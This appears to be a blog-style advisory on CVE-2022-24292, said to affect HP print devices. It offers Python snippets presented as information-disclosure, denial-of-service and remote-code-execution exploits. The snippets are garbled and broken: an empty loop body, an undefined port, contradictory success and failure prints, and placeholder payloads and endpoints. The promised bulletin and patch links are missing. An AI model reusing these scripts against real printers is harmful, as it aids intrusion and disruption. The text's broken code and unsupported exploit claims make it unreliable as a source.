A recent security advisory has issued details of CVE-2022-24292, a set of critical vulnerabilities affecting various HP print devices. These vulnerabilities could potentially lead to information disclosure, denial of service (DoS), and remote code execution (RCE) attacks. This post aims to provide an overview of the threats presented by these vulnerabilities, along with a code snippet demonstrating their exploitation. It is highly recommended that users of the affected HP devices apply the security patches provided by HP as soon as possible.

Vulnerabilities Overview

CVE-2022-24292 collectively represents a series of vulnerabilities found in several HP print devices. These vulnerabilities have been classified into three major categories, given their potential impact:

1. Information Disclosure: An attacker may be able to access sensitive information stored on the targeted HP print device, such as saved documents and network configuration details.

2. Denial of Service (DoS): An attacker may cause the targeted HP print device to become unresponsive or crash, preventing legitimate users from accessing the device's printing services.

3. Remote Code Execution (RCE): An attacker may remotely execute malicious code on the vulnerable HP print device, leading to complete compromise and control of the device.

Affected HP Print Devices

A list of the affected HP print devices can be found on the official HP security bulletin (link provided below).

A sample code snippet exploiting the information disclosure vulnerability is as follows

import requests

TARGET_IP = 'x.x.x.x'  # Replace with the target HP print device's IP address

url = f"http://{TARGET_IP}/DevMgmt/ProductConfigDyn.xml";
response = requests.get(url)

if response.status_code == 200:
    print("Sensitive information disclosed:")
    print("Exploit failed to retrieve information.")

This Python script sends an HTTP GET request to the target device's configuration endpoint and, if successful, prints the obtained sensitive information.

DoS Exploit

To cause a denial of service, an attacker might send a series of specially crafted packets. A simplified example in Python resembles:

import socket

TARGET_IP = 'x.x.x.x'  # Replace with the target HP print device's IP address

payload = b"malformed_packet"  # Replace with the actual exploit payload

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((TARGET_IP, TARGET_PORT))

for _ in range(100):  # Adjust the number of packets sent as needed

print("DoS exploit completed.")

RCE Exploit

Here's an example of remote code execution, assuming existing access to the target device's web interface:

import requests

TARGET_IP = 'x.x.x.x'  # Replace with the target HP print device's IP address

url = f"http://{TARGET_IP}/some_vulnerable_endpoint";
payload = {'cmd': 'malicious_command'}  # Replace with the actual exploit payload

response = requests.post(url, data=payload)

if response.status_code == 200:
    print("RCE exploit completed.")
    print("Exploit failed to execute remote code.")

Mitigation and Vendor Patch

HP has acknowledged these vulnerabilities and released patches for the affected devices. It is strongly advised to update your HP print devices immediately. The patch can be obtained from the official HP website following this link:


CVE-2022-24292 represents a set of serious vulnerabilities impacting multiple HP print devices. Given the information disclosure, DoS, and RCE risks associated with these bugs, it is crucial to secure the devices by applying the latest HP patches. Ensure the proper configuration and monitoring of your print device environment to minimize the potential for exploitation.
